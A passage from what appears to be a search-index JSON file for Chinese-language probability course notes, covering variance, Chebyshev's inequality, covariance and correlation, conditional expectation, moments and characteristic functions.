<p>\u5176\u4e2d\uff0c\\( \\operatorname{Cov}(X,Y) \\) \u662f \\( X \\) \u548c \\( Y \\) \u7684\u534f\u65b9\u5dee\uff0c\u5373</p> \\[    \\operatorname{Cov}(X,Y) = E[(X - E(X))(Y - E(Y))]=E(XY)-E(X)E(Y) \\] <p>\u5982\u679c\\(X,Y\\)\u76f8\u4e92\u72ec\u7acb\uff0c\u5219\\(\\operatorname{Cov}(X,Y)=0\\)\uff0c\u6240\u4ee5</p> \\[    \\operatorname{Var}(X + Y) = \\operatorname{Var}(X) + \\operatorname{Var}(Y) \\] <p>\u53ef\u63a8\u5e7f\u5230\u591a\u4e2a\u72ec\u7acb\u968f\u673a\u53d8\u91cf\u7684\u60c5\u51b5\u3002</p>"},{"location":"NOTE/Probability/Third/#_8","title":"\u9009\u62e9\u5e73\u5747\u503c\u7684\u539f\u56e0","text":"<p>\u5728\u8ba1\u7b97\u65b9\u5dee\u65f6\uff0c\u6211\u4eec\u901a\u5e38\u4f7f\u7528\u5e73\u5747\u503c\u4f5c\u4e3a\u4e2d\u5fc3\u70b9\uff0c\u800c\u4e0d\u662f\u5176\u4ed6\u503c\u3002\u8fd9\u662f\u56e0\u4e3a\u5e73\u5747\u503c\u662f\u4f7f\u65b9\u5dee\u6700\u5c0f\u7684\u70b9\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u5bf9\u4e8e\u4efb\u4f55\u5b9e\u6570 \\( c \\)\uff0c\u6709</p> \\[    \\operatorname{Var'}(X) = E[(X - c)^2] \\geqslant E[(X - E(X))^2] = \\operatorname{Var}(X) \\] <p>Proof</p> \\[\\begin{align*}  \\operatorname{Var}(X)&amp;=E(X-EX)^2\\\\     &amp;=E(X-c-(EX-c))^2\\\\     &amp;=E(X-c)^2-2E(X-c)(EX-c)+E(EX-c)^2\\\\     &amp;=E(X-c)^2-(EX-c)^2 \\leqslant E(X-c)^2 \\end{align*}\\]"},{"location":"NOTE/Probability/Third/#chebyschev","title":"\u5207\u6bd4\u96ea\u592b\u4e0d\u7b49\u5f0f(Chebyschev)","text":"<p>\u8bbe \\((\\Omega, \\mathcal{A}, P)\\) \u662f\u6982\u7387\u7a7a\u95f4\uff0c \\(X : \\Omega \\rightarrow \\mathbb{R}\\) \u662f\u968f\u673a\u53d8\u91cf\uff0c\u90a3\u4e48\u5bf9\u4efb\u610f \\(\\varepsilon &gt; 0\\)\uff0c</p> \\[ P(|X - EX| &gt; \\varepsilon) \\leqslant \\frac{\\operatorname{Var}(X)}{\\varepsilon^2} \\] <p>Note</p> <p>\u5207\u6bd4\u96ea\u592b\u4e0d\u7b49\u5f0f\u7ed9\u51fa\u4e86\u968f\u673a\u53d8\u91cf\u504f\u79bb\u5176\u5747\u503c\u5927\u4e8e\u67d0\u4e2a\u7cbe\u5ea6\u7684\u6982\u7387\u7684\u4e0a\u754c\u3002</p> <p>\u4ec5\u53d6 \\(X \\sim p(x)\\) \u52a0\u4ee5\u8bc1\u660e\u3002</p> \\[ P(|X - EX| &gt; \\varepsilon) = \\int_{x: |x - EX| &gt; \\varepsilon} p(x) \\, dx \\] \\[ \\leqslant \\int_{x: |x - EX| &gt; \\varepsilon} \\frac{|x - EX|^2}{\\varepsilon^2} p(x) \\, dx \\] \\[ \\leqslant \\frac{1}{\\varepsilon^2} \\int_{-\\infty}^{\\infty} |x - EX|^2 p(x) \\, dx \\] \\[ = \\frac{\\operatorname{Var}(X)}{\\varepsilon^2} \\] <p>\u63a8\u5e7f</p> <p>\u82e5 \\(f\\) \u662f\u5355\u8c03\u4e0d\u51cf\u4e25\u683c\u6b63\u51fd\u6570\uff0c\u90a3\u4e48</p> \\[ P(X &gt; \\varepsilon) \\leqslant \\frac{E f(X)}{f(\\varepsilon)} \\] <p>\u4e8b\u5b9e\u4e0a\uff0c\u4f7f\u7528\u4e86Markov\u4e0d\u7b49\u5f0f:</p> \\[ P(X &gt; \\varepsilon) \\leqslant P(f(X) \\geqslant f(\\varepsilon)) \\leqslant \\frac{E f(X)}{f(\\varepsilon)} \\]"},{"location":"NOTE/Probability/Third/#_9","title":"\u534f\u65b9\u5dee\u77e9\u9635","text":""},{"location":"NOTE/Probability/Third/#_10","title":"\u5747\u503c\u5411\u91cf","text":"<p>\u5bf9\u4e8e\u4e00\u4e2a\u968f\u673a\u5411\u91cf \\( X = (X_1, X_2, \\dots, X_n) \\)\uff0c\u5982\u679c\\(X_i\\)\u7684\u6570\u5b66\u671f\u671b\u5b58\u5728\uff1b\u5176\u5747\u503c\u5411\u91cf \\( \\mu \\) \u5b9a\u4e49\u4e3a\uff1a</p> \\[ \\mu = E(X) = (E(X_1), E(X_2), \\dots, E(X_n)) \\]"},{"location":"NOTE/Probability/Third/#_11","title":"\u534f\u65b9\u5dee","text":"<p>\u5047\u8bbe\\(X\\)\u548c\\(Y\\)\u662f\u4e24\u4e2a\u968f\u673a\u53d8\u91cf\uff0c\u4e14\u4e24\u8005\u7684\u6570\u5b66\u671f\u671b\u548c\u65b9\u5dee\u90fd\u5b58\u5728\uff0c\u90a3\u4e48\\(X\\)\u548c\\(Y\\)\u7684\u534f\u65b9\u5dee\u5b9a\u4e49\u4e3a\uff1a</p> \\[ \\operatorname{Cov}(X, Y) = E[(X - E(X))(Y - E(Y))] \\] <p>\u534f\u65b9\u5dee\u4e5f\u53ef\u4ee5\u8868\u793a\u4e3a\uff1a</p> \\[ \\operatorname{Cov}(X, Y) = E(XY) - E(X)E(Y) \\] <p>Cauchy-Schwarz\u4e0d\u7b49\u5f0f</p> <p>\u5bf9\u4e8e\u4efb\u610f\u4e24\u4e2a\u968f\u673a\u53d8\u91cf\\(X\\)\u548c\\(Y\\)\uff0c\u6709</p> \\[     \\operatorname{Cov}(X, Y)^2 \\leq \\operatorname{Var}(X) \\operatorname{Var}(Y) \\] \\[     E[(X - E(X))(Y - E(Y))] \\leqslant \\sqrt{E[(X - E(X))^2]E[(Y - E(Y))^2]} \\] <p>\u8fd0\u7528\u4efb\u610f\u5b9e\u6570\\(t\\),\u6ee1\u8db3</p> \\[     E[(|X|+t|Y|)^2] \\geqslant 0 \\] <p>\u5c55\u5f00\u5229\u7528\u4e8c\u6b21\u51fd\u6570\u7684\u6027\u8d28\u5373\u53ef\uff1b</p> <p>\u534f\u65b9\u5dee\u77e9\u9635\u4e3a</p> \\[ \\Sigma = \\begin{bmatrix} \\operatorname{Var}(X_1) &amp; \\operatorname{Cov}(X_1, X_2) &amp; \\cdots &amp; \\operatorname{Cov}(X_1, X_n) \\\\ \\operatorname{Cov}(X_2, X_1) &amp; \\operatorname{Var}(X_2) &amp; \\cdots &amp; \\operatorname{Cov}(X_2, X_n) \\\\ \\vdots &amp; \\vdots &amp; \\ddots &amp; \\vdots \\\\ \\operatorname{Cov}(X_n, X_1) &amp; \\operatorname{Cov}(X_n, X_2) &amp; \\cdots &amp; \\operatorname{Var}(X_n) \\end{bmatrix} \\] <p>\u5bf9\u4e8e\u4e8c\u5143\u968f\u673a\u53d8\u91cf \\( X = (X_1, X_2) \\)\uff0c\u534f\u65b9\u5dee\u77e9\u9635\u4e3a</p> \\[ \\Sigma = \\begin{bmatrix} \\operatorname{Var}(X_1) &amp; \\operatorname{Cov}(X_1, X_2) \\\\ \\operatorname{Cov}(X_2, X_1) &amp; \\operatorname{Var}(X_2) \\end{bmatrix} \\] <p>Key-point</p> <p>\u534f\u65b9\u5dee\u77e9\u9635\u662f\u4e00\u4e2a\u975e\u8d1f\u5b9a\u77e9\u9635\uff0c\u5373\u5bf9\u4e8e\u4efb\u610f\u975e\u96f6\u5217\u5411\u91cf \\( a \\)\uff0c\u6709 \\( a^T \\Sigma a \\geq 0 \\)\u3002</p> <p>\u5982\u679c\\(X\\), \\(Y\\)\u76f8\u4e92\u72ec\u7acb\uff0c\u6b64\u65f6 \\(E(XY)=E(X)E(Y)\\) \u90a3\u4e48\\(\\operatorname{Cov}(X, Y) = 0\\)\uff0c\u53cd\u4e4b\uff0c\u5982\u679c\\(\\operatorname{Cov}(X, Y) = 0\\)\uff0c\u5e76\u4e0d\u4e00\u5b9a\u6709\\(X\\)\u548c\\(Y\\)\u76f8\u4e92\u72ec\u7acb\uff0c\u4f46\u662f\u53ef\u4ee5\u5b9a\u4e49\u4e3a\u4e0d\u76f8\u5173\u3002</p> <p>Example</p> <p>\u4e8c\u5143\u8054\u5408\u6b63\u6001\u5206\u5e03\u7684\u534f\u65b9\u5dee\u4e3a\\(\\rho \\sigma_1 \\sigma_2\\)</p>"},{"location":"NOTE/Probability/Third/#_12","title":"\u76f8\u5173\u7cfb\u6570","text":"<p>Definition</p> <p>\u4e8c\u5143\u51fd\u6570\u7684\u76f8\u5173\u7cfb\u6570\uff08Correlation Coefficient\uff09\u7528\u6765\u8861\u91cf\u4e24\u4e2a\u968f\u673a\u53d8\u91cf \\( X \\) \u548c \\( Y \\) \u4e4b\u95f4\u7684\u7ebf\u6027\u5173\u7cfb\uff0c\u5176\u5b9a\u4e49\u57fa\u4e8e\u534f\u65b9\u5dee\u548c\u6807\u51c6\u5dee\uff0c\u8ba1\u7b97\u516c\u5f0f\u5982\u4e0b\uff1a</p> \\[ \\rho(X, Y) = \\frac{\\operatorname{Cov}(X, Y)}{\\sigma_X \\cdot \\sigma_Y} \\] <p>\u5176\u4e2d\uff1a</p> <ul> <li>\\(\\operatorname{Cov}(X, Y)\\) \u662f \\( X \\) \u548c \\( Y \\) \u7684\u534f\u65b9\u5dee\uff0c\u5b9a\u4e49\u4e3a\uff1a</li> </ul> \\[   \\operatorname{Cov}(X, Y) = \\mathbb{E}[(X - \\mathbb{E}[X])(Y - \\mathbb{E}[Y])] = \\mathbb{E}[XY] - \\mathbb{E}[X] \\cdot \\mathbb{E}[Y] \\] <ul> <li>\\(\\sigma_X\\) \u548c \\(\\sigma_Y\\) \u5206\u522b\u662f \\( X \\) \u548c \\( Y \\) \u7684\u6807\u51c6\u5dee\uff0c\u5b9a\u4e49\u4e3a\uff1a</li> </ul> \\[   \\sigma_X = \\sqrt{\\operatorname{Var}(X)}, \\quad \\sigma_Y = \\sqrt{\\operatorname{Var}(Y)} \\] <p>\u5176\u4e2d\u65b9\u5dee\u4e3a\uff1a</p> \\[   \\operatorname{Var}(X) = \\mathbb{E}[(X - \\mathbb{E}[X])^2] \\] <ol> <li>\u53d6\u503c\u8303\u56f4\uff1a</li> </ol> \\[    -1 \\leq \\rho(X, Y) \\leq 1 \\] <ul> <li>\u5f53 \\(\\rho(X, Y) = 1\\) \u65f6\uff0c\\( X \\) \u548c \\( Y \\) \u5b8c\u5168\u6b63\u7ebf\u6027\u76f8\u5173\u3002</li> <li>\u5f53 \\(\\rho(X, Y) = -1\\) \u65f6\uff0c\\( X \\) \u548c \\( Y \\) \u5b8c\u5168\u8d1f\u7ebf\u6027\u76f8\u5173\u3002</li> <li> <p>\u5f53 \\(\\rho(X, Y) = 0\\) \u65f6\uff0c\\( X \\) \u548c \\( Y \\) \u6ca1\u6709\u7ebf\u6027\u5173\u7cfb\uff0c\u4f46\u4e0d\u4e00\u5b9a\u72ec\u7acb\u3002</p> </li> <li> <p>\u65e0\u91cf\u7eb2\u6027\uff1a \\(\\rho(X, Y)\\) \u662f\u4e00\u4e2a\u65e0\u91cf\u7eb2\u91cf\uff0c\u53cd\u6620\u7684\u662f\u4e24\u53d8\u91cf\u7ebf\u6027\u5173\u7cfb\u7684\u5f3a\u5f31\uff0c\u4e0e\u53d8\u91cf\u7684\u91cf\u7eb2\u65e0\u5173\u3002</p> </li> <li> <p>\u5bf9\u79f0\u6027\uff1a</p> </li> </ul> \\[    \\rho(X, Y) = \\rho(Y, X) \\] <p>\u4e00\u822c\u4e5f\u7528\\(\\gamma\\)\u6765\u8868\u793a\u76f8\u5173\u7cfb\u6570</p>"},{"location":"NOTE/Probability/Third/#_13","title":"\u6761\u4ef6\u671f\u671b","text":"<p>\u5bf9\u4e8e\u4e24\u4e2a\u968f\u673a\u53d8\u91cfX\uff0cY\uff0c\u5176\u6761\u4ef6\u671f\u671b\u5b9a\u4e49\u4e3a\uff1a</p> \u79bb\u6563\u578b\u8fde\u7eed\u578b <p>\u7ed9\u5b9a\\(Y=y_i\\),\\(X\\)\u7684\u6761\u4ef6\u671f\u671b\u5b9a\u4e49\u4e3a</p> \\[     E(X|Y=y_i)=\\sum_{i=1}^\\infty x_i P(X=x_i|Y=y_i) \\] <p>\u8981\u6c42\u8be5\u7ea7\u6570\u7edd\u5bf9\u6536\u655b</p> <p>\u82e5\u7ed9\u5b9a\\(X\\),\\(Y\\)\u7684\u6761\u4ef6\u671f\u671b\u4e5f\u662f\u7c7b\u4f3c</p> \\[     P(X=x|Y=y)=\\dfrac{p(x,y)}{p_Y(y)} \\] <p>\u6240\u4ee5</p> \\[     E(X=x|Y=y)=\\int_{-\\infty}^{+\\infty} x  P(X=x|Y=y) dx \\] <p>\u8981\u6c42\u8be5\u79ef\u5206\u7edd\u5bf9\u53ef\u79ef</p> <p>\u82e5\u7ed9\u5b9a\\(X\\),\\(Y\\)\u7684\u6761\u4ef6\u671f\u671b\u4e5f\u662f\u7c7b\u4f3c</p>"},{"location":"NOTE/Probability/Third/#_14","title":"\u5168\u671f\u671b\u516c\u5f0f","text":"\\[ P(X = x_i, Y = y_j) = p_{ij}, \\quad i, j = 1, 2, \\ldots \\] <p>\u6bcf\u4e00\u4e2a \\(y_j\\)\uff0c\u5bf9\u5e94\u4e00\u4e2a\u6761\u4ef6\u671f\u671b \\(E(X|Y = y_j)\\)\uff0c\u5373</p> \\[ y_j \\rightarrow E(X|Y = y_j) \\] <p>\u5b9a\u4e49</p> \\[ g(y_j) = E(X|Y = y_j) \\] <p>\u5373</p> \\[ g(Y) = E(X|Y) \\] <p>\u5b83\u662f \\(Y\\) \u7684\u51fd\u6570\uff0c\u6240\u4ee5\u662f\u968f\u673a\u53d8\u91cf\u3002\u6c42 \\(Eg(Y)\\)\uff1b</p> \\[ Eg(Y) = \\sum_{j=1}^{\\infty} g(y_j) P(Y = y_j) \\] \\[ = \\sum_{j=1}^{\\infty} \\sum_{i=1}^{\\infty} x_i P(X = x_i | Y = y_j) P(Y = y_j) \\] \\[ = \\sum_{i=1}^{\\infty} x_i \\sum_{j=1}^{\\infty} P(X = x_i | Y = y_j) P(Y = y_j) \\] \\[ = \\sum_{i=1}^{\\infty} x_i P(X = x_i) \\] \\[ = E X \\] <p>Key-point</p> <p>\\(E(E(X|Y))=EX\\),\\(E(E(Y|X))=EY\\) \u8fd9\u4e2a\u7ed3\u8bba\u5bf9\u4e8e\u79bb\u6563\uff0c\u968f\u673a\uff0c\u8fde\u7eed\u53d8\u91cf\u90fd\u6210\u7acb</p>"},{"location":"NOTE/Probability/Third/#_15","title":"\u77e9","text":"<ul> <li>k \u9636\u77e9\uff0ck \u9636\u4e2d\u5fc3\u77e9:</li> </ul> <p>\u5047\u8bbe \\((\\Omega, \\mathcal{A}, P)\\) \u6982\u7387\u7a7a\u95f4\uff0c\\(X: \\Omega \\to \\mathbb{R}\\) \u968f\u673a\u53d8\u91cf   \u5982\u679c \\(E|X|^k &lt; \\infty, k \\geqslant 1\\)\uff0c\u90a3\u4e48\u79f0</p> \\[   E X^k, \\quad k \\text{ \u9636\u77e9 } k \\geq 1 \\] \\[   E(X - E X)^k, \\quad k \\text{ \u9636\u4e2d\u5fc3\u77e9 } k \\geq 1 \\] <p>Example</p> \u6b63\u6001\u5206\u5e03\u6cca\u677e\u5206\u5e03 <p>\\( X \\sim N(0, \\sigma^2) \\)\uff0c\u90a3\u4e48</p> \\[ E|X|^k &lt; \\infty, \\quad k \\geq 1 \\] <p>\u5e76\u4e14</p> \\[ EX^{2k} = (2k - 1)!! \\sigma^{2k}, \\quad EX^{2k + 1} = 0, \\quad k \\geq 1 \\] \\[ EX^{2k} = \\int_{-\\infty}^{\\infty} x^{2k} \\frac{1}{\\sqrt{2\\pi}} e^{-\\frac{x^2}{2}} \\, dx \\] \\[ = -\\int_{-\\infty}^{\\infty} x^{2k - 1} \\frac{1}{\\sqrt{2\\pi}} d e^{-\\frac{x^2}{2}} \\] \\[ = -x^{2k-1} \\frac{1}{\\sqrt{2\\pi}} e^{-\\frac{x^2}{2}} \\bigg|_{-\\infty}^{\\infty} + (2k - 1) \\int_{-\\infty}^{\\infty} x^{2k - 2} \\frac{1}{\\sqrt{2\\pi}} e^{-\\frac{x^2}{2}} \\, dx \\] \\[ = (2k - 1) E X^{2k - 2} \\] \\[ EX^{2k} = (2k - 1) E X^{2k - 2} = \\cdots = (2k - 1)(2k - 3) \\cdots 1 = (2k - 1)!! \\] <p>\\( X \\sim \\mathcal{P}(\\lambda) \\)\uff0c\u90a3\u4e48</p> \\[ E|X|^k &lt; \\infty, \\quad k \\geq 1 \\] <p>\u5e76\u4e14</p> \\[ E X (X - 1) \\cdots (X - (k - 1)) = \\lambda^k, \\quad k \\geq 1 \\] \\[ \\downarrow \\] \\[ E X^2 = E X (X - 1) + E X \\] \\[ E X^3 = E X (X - 1)(X - 2) + 3 E X (X - 1) + E X \\] \\[ E X^4 = E X (X - 1)(X - 2)(X - 3) + 6 E X (X - 1)(X - 2) + 7 E X (X - 1) + E X \\] \\[ E X^k = E X (X - 1) \\cdots (X - (k - 1)) + \\cdots \\] <p>Warining</p> <p>\u4e00\u822c\u6765\u8bf4\uff0c\u968f\u673a\u53d8\u91cf\u4efb\u610fK\u9636\u77e9\u90fd\u76f8\u7b49\uff0c\u5e76\u4e0d\u80fd\u4fdd\u8bc1\u968f\u673a\u53d8\u91cf\u7684\u5206\u5e03\u76f8\u540c\u3002\u4f46\u662f\u6b63\u6001\u5206\u5e03\u548c\u6cca\u677e\u5206\u5e03\u53ef\u4ee5\u7531k\u9636\u77e9\u6765\u786e\u5b9a\u3002</p> <p>\u5b9a\u7406</p> <p>\u5047\u8bbe \\(X, Y\\) \u662f\u4e24\u4e2a\u968f\u673a\u53d8\u91cf\uff0c\u5e76\u4e14\u5bf9\u4efb\u610f \\(k \\geq 1\\),</p> \\[ E X^k = E Y^k = m_k &lt; \\infty \\] <p>\u5982\u679c\u4e0b\u5217\u4e09\u4e2a\u6761\u4ef6\u4e4b\u4e00\u6210\u7acb\uff1a</p> <p>(i)</p> \\[ \\sum_{k=1}^{\\infty} \\frac{m_{2k} t^{2k}}{(2k)!} &lt; \\infty, \\quad \\text{\u5bf9\u67d0\u4e9b } t &gt; 0 \\] <p>(ii)</p> \\[ \\sum_{k=1}^{\\infty} m_{2k}^{-1/2k} = \\infty \\] <p>(iii)</p> \\[ \\limsup_{k \\to \\infty} |m_k|^{1/k} &lt; \\infty \\] <p>\u90a3\u4e48</p> \\[ X \\overset{d}{\\equiv} Y \\]"},{"location":"NOTE/Probability/Third/#_16","title":"\u7279\u5f81\u51fd\u6570","text":"<p>\\((\\Omega, A, P), X : \\Omega \\to \\mathbb{R}, X \\sim F_X(x)\\). \u5b9a\u4e49</p> \\[ \\varphi(t) = E e^{itX}, \\quad t \\in \\mathbb{R} \\] <p>\u5176\u4e2d</p> \\[ E e^{itX} = E \\cos tX + iE \\sin tX \\] <p>\u4e00\u5b9a\u5b58\u5728\u6709\u9650\u3002</p> \\[\\varphi(t) : \\mathbb{R} \\to \\mathbb{C}\\] <p>\u5b9e\u53d8\u91cf\u590d\u503c\u51fd\u6570</p> <p>\u76ee\u7684\uff1a\u5229\u7528\u590d\u5206\u6790\u7814\u7a76\u968f\u673a\u53d8\u91cf\u7684\u5206\u5e03\u6027\u8d28\u3002</p> <p>\u610f\u4e49\uff1a\u5bf9\u6982\u7387\u8bba\u7684\u53d1\u5c55\u8d77\u7740\u91cd\u8981\u4f5c\u7528\u3002</p> <p>\u5e38\u89c1\u5206\u5e03\u7684\u7279\u5f81\u51fd\u6570</p> \u9000\u5316\u5206\u5e03\u4e24\u70b9\u5206\u5e03n-Bernoulli \u5206\u5e03Poisson \u5206\u5e03\u5747\u5300\u5206\u5e03\u6307\u6570\u5206\u5e03\u6807\u51c6\u6b63\u6001\u5206\u5e03 <p>\u82e5\\(X\\)\u662f\u4e00\u4e2a\u5e38\u6570\\(c\\)\uff0c\u90a3\u4e48</p> \\[ \\varphi(t) = e^{ict} \\] <p>\u82e5\\(X\\)\u662f\u4e00\u4e2a\u4e24\u70b9\u5206\u5e03\uff0c\\(P(X = 1) = p, \\quad P(X = 0) = 1 - p\\)\uff0c\u90a3\u4e48</p> \\[ \\varphi(t) = pe^{it} + 1 - p \\] <p>\u82e5\\(X \\sim B(n, p)\\)\uff0c\u90a3\u4e48</p> \\[ \\varphi(t) = (1 - p + pe^{it})^n \\] <p>\u82e5\\(X \\sim P(\\lambda)\\)\uff0c\u90a3\u4e48</p> \\[ \\varphi(t) = e^{\\lambda (e^{it} - 1)} \\] <p>\u82e5\\(X \\sim U(a, b)\\)\uff0c\u90a3\u4e48</p> \\[ \\varphi(t) = \\frac{e^{itb} - e^{ita}}{it(b-a)} \\] <p>\u82e5\\(X \\sim E(\\lambda)\\)\uff0c\u90a3\u4e48</p> \\[ \\varphi(t) = \\frac{\\lambda}{\\lambda - it} \\] <p>\u82e5\\(X \\sim N(0, 1)\\)\uff0c\u90a3\u4e48</p> \\[ \\varphi(t) = e^{-\\frac{t^2}{2}} \\] <p>\u666e\u901a\u7684\u6b63\u6001\u5206\u5e03</p> \\[     e^{it\\mu-\\frac{\\sigma^2t^2}{2}} \\]"},{"location":"NOTE/Probability/Third/#_17","title":"\u7279\u5f81\u51fd\u6570\u7684\u5206\u6790\u6027\u8d28","text":"<ol> <li> <p>\\( \\varphi(0) = 1 \\)</p> </li> <li> <p>\\( |\\varphi(t)| \\leqslant 1 = \\varphi(0) \\) \u6a21\u957f\u6709\u754c</p> </li> <li> <p>\\( \\varphi(-t) = \\overline{\\varphi(t)} \\) \u5171\u8f6d\u5bf9\u79f0</p> </li> <li> <p>\\( \\varphi(t) \\) \u5728 \\( \\mathbb{R} \\) \u4e0a\u4e00\u81f4\u8fde\u7eed\u3002</p> </li> <li> <p>Bochner \u975e\u8d1f\u5b9a\u6027</p> </li> </ol> <p>\u5bf9\u4e8e\u4efb\u4f55\u5b9e\u6570 \\( t_1, t_2, \\ldots, t_n \\)\uff0c\u4efb\u4f55\u590d\u6570 \\( a_1, a_2, \\ldots, a_n \\)</p> \\[ \\sum_{k,l=1}^{n} a_k \\bar{a_l} \\varphi(t_k - t_l) \\geqslant 0 \\] <ol> <li>\u53ef\u5fae\u6027</li> </ol> <p>\u5047\u8bbe \\( E|X| &lt; \\infty, \\quad EX = \\mu \\)\uff0c\u90a3\u4e48</p> \\[ \\varphi(t) \\text{ \u53ef\u5fae} \\] <p>\u5e76\u4e14</p> \\[ \\varphi'(0) = i\\mu \\] <p>\u4e8b\u5b9e\u4e0a\uff0c</p> \\[ \\varphi(t) = \\int_{-\\infty}^{\\infty} e^{itx} dF(x). \\] <p>\u56e0\u4e3a</p> \\[ \\int_{-\\infty}^{\\infty} |x| dF(x) &lt; \\infty, \\] <p>\\(e^{itx}\\)\u6c42\u5bfc\u4e4b\u540e\u88ab\u4e00\u4e2a\u53ef\u79ef\u51fd\u6570\u63a7\u5236\uff0c</p> <p>\u6240\u4ee5</p> \\[ \\varphi'(t) = \\int_{-\\infty}^{\\infty} ix e^{itx} dF(x) \\] \\[ = i \\int_{-\\infty}^{\\infty} x e^{itx} dF(x) \\] <p>\u7c7b\u4f3c\u5730\uff0c\u5982\u679c \\( E|X|^k &lt; \\infty \\)\uff0c\u90a3\u4e48</p> \\[ \\varphi^{(k)}(t) = i^k \\int_{-\\infty}^{\\infty} x^k e^{itx} dF(x) \\] <p>\u7279\u522b\uff0c\u5982\u679c \\( E|X| &lt; \\infty \\)\uff0c\u90a3\u4e48 \\( \\varphi(t) \\) \u5728 0 \u5904\u53ef\u4ee5\u8fdb\u884c \\( k \\) \u6b21\u5c55\u5f00\uff1a</p> \\[ \\varphi(t) = \\varphi(0) + \\varphi'(0)t + \\frac{\\varphi''(0)}{2!} t^2 + \\cdots + \\frac{\\varphi^{(k)}(0)}{k!} t^k + o(t^k) \\] \\[ = 1 + iEXt - \\frac{EX^2}{2} t^2 + \\cdots + \\frac{i^k EX^k}{k!} t^k + o(t^k), \\quad t \\to 0 \\]"},{"location":"NOTE/Probability/Third/#_18","title":"\u7279\u5f81\u51fd\u6570\u7684\u8fd0\u7b97\u6027\u8d28","text":"<ul> <li>\u4ee4 \\( X \\) \u7684\u7279\u5f81\u51fd\u6570\u4e3a \\( \\varphi_X(t) \\)\uff0c\u90a3\u4e48</li> </ul> \\[ E[e^{it(aX+c)}] = e^{itc} \\varphi_X(at) \\] <p>\u5982\u679c \\( Y \\sim N(\\mu, \\sigma^2) \\)\uff0c\u90a3\u4e48\u53ef\u5199\u6210</p> \\[ Y = \\sigma X + \\mu, \\quad X \\sim N(0, 1) \\] <p>\u56e0\u6b64\uff0c</p> \\[ \\varphi_Y(t) = e^{i\\mu t - \\frac{\\sigma^2 t^2}{2}} \\] <ul> <li>\u4ee4 \\( X \\) \u548c \\( Y \\) \u4e3a\u4e24\u4e2a\u968f\u673a\u53d8\u91cf\uff0c\u90a3\u4e48</li> </ul> \\[     Z = X + Y \\] \\[ \\varphi_Z(t) = \\varphi_X(t) \\varphi_Y(t) \\] <p>\u5728X,Y\u76f8\u4e92\u72ec\u7acb\u7684\u60c5\u51b5\u4e0b\uff0c\u8fd9\u4e2a\u516c\u5f0f\u6210\u7acb\u3002</p> <p>\u63a8\u5e7f\uff1a</p> <p>\u5982\u679c \\( X_1, X_2, \\ldots, X_n \\) \u76f8\u4e92\u72ec\u7acb\uff0c\u90a3\u4e48</p> \\[ \\varphi_{X_1 + X_2 + \\cdots + X_n}(t) = \\varphi_{X_1}(t) \\varphi_{X_2}(t) \\cdots \\varphi_{X_n}(t) \\] <p>Eg</p> <p>\\(S_n \\sim B(n,p)\\)\uff0c\u90a3\u4e48\\(S_n =\\sum_{i=1}^n X_i\\)\uff0c\u5176\u4e2d\\(X_i\\)\u662f\u72ec\u7acb\u540c\u5206\u5e03\u7684\u4e24\u70b9\u5206\u5e03\u968f\u673a\u53d8\u91cf\uff0c\u90a3\u4e48</p> \\[ \\varphi_{S_n}(t) = \\varphi_{X_1}(t) \\varphi_{X_2}(t) \\cdots \\varphi_{X_n}(t) = (1-p+pe^{it})^n \\] <p>Warning</p> <p>\u6ce8\u610f\u8ba1\u7b97\u7279\u5f81\u51fd\u6570\u7684\u65f6\u5019\u4e0d\u8981\u76f4\u63a5\u628a\u6c42\u671f\u671b\u653e\u5230\u6307\u6570\u4e0a,\u5373</p> \\[     Ee^{itX} \\neq e^{itEX} \\] <p>\u662f\u4e0d\u5bf9\u7684</p>"},{"location":"NOTE/Probability/Third/#_19","title":"\u552f\u4e00\u6027\u95ee\u9898","text":"<p>\u5206\u5e03\u51fd\u6570\u548c\u7279\u5f81\u51fd\u6570\u76f8\u4e92\u552f\u4e00\u786e\u5b9a\u5417?</p> <p>\u5047\u8bbe \\(X\\) \u548c \\(Y\\) \u7684\u5206\u5e03\u51fd\u6570\u76f8\u540c\uff0c\u90a3\u4e48\u5b83\u4eec\u7684\u7279\u5f81\u51fd\u6570\u76f8\u540c\u662f\u663e\u7136\u7684\uff1b</p> <p>\u4f46\u662f\uff0c\u7279\u5f81\u51fd\u6570\u76f8\u540c\uff0c\\(X\\) \u548c \\(Y\\) \u7684\u5206\u5e03\u51fd\u6570\u662f\u5426\u76f8\u540c\u5462\uff1f</p> <p>\u5373</p> \\[ \\varphi_X(t) = \\varphi_Y(t), \\quad \\forall t \\in \\mathbb{R} \\] <p>\u662f\u5426\u80fd\u63a8\u51fa</p> \\[ F_X(x) = F_Y(x), \\quad \\forall x \\in \\mathbb{R} \\] <p>\u552f\u4e00\u6027\u5b9a\u7406</p> \\[ \\varphi_X(t) \\equiv \\varphi_Y(t) \\] <p>\u90a3\u4e48</p> \\[ X \\overset{d}{=} Y, \\quad F_X(x) \\equiv F_Y(x) \\] <p>\u5b9e\u9645\u4e0a\uff0c</p> \\[ F_X(x_2) - F_X(x_1) = \\lim_{T \\to \\infty} \\frac{1}{2\\pi} \\int_{-T}^{T} \\frac{e^{-itx_2} - e^{-itx_1}}{it} \\cdot \\varphi_X(t) dt \\] <p>\u6709\u63a8\u8bba:</p> <p>\u5982\u679c \\( X \\) \u7684\u7279\u5f81\u51fd\u6570 \\( \\varphi(t) \\) \u7edd\u5bf9\u53ef\u79ef\uff0c\u5373</p> \\[ \\int_{-\\infty}^{\\infty} |\\varphi(t)| dt \\] <p>\u90a3\u4e48 \\( X \\) \u5177\u6709\u5bc6\u5ea6\u51fd\u6570 \\( p(x) \\)\uff0c\u5e76\u4e14</p> \\[ p(x) = \\frac{1}{2\\pi} \\int_{-\\infty}^{\\infty} e^{-itx} \\varphi(t) dt \\] <p>\u5982\u679c\u662f\u79bb\u6563\u578b\uff0c\u90a3\u4e48 \u5047\u8bbe \\(\\varphi(t)\\) \u662f\u4e00\u4e2a\u7279\u5f81\u51fd\u6570\uff0c\u5982\u679c</p> \\[ \\varphi(t) = \\sum_{k=-\\infty}^{\\infty} a_k e^{ikt} \\] <p>\u5e76\u4e14</p> \\[ a_k \\geqslant 0, \\quad \\sum_{k=-\\infty}^{\\infty} a_k = 1 \\] <p>\u90a3\u4e48</p> \\[ P(X = k) = a_k, \\quad k = \\ldots, -2, -1, 0, 1, 2, \\ldots, \\] <p>\u6ce8\u610f\uff0c\u67d0\u4e9b \\(a_k\\) \u53ef\u80fd\u4e3a 0\u3002</p> <p>Example</p> <p>\u5047\u8bbe \\((X, Y)\\) \u662f\u4e8c\u5143\u8054\u5408\u6b63\u6001\u968f\u673a\u53d8\u91cf</p> \\[ (X, Y) \\sim N(\\mu_1, 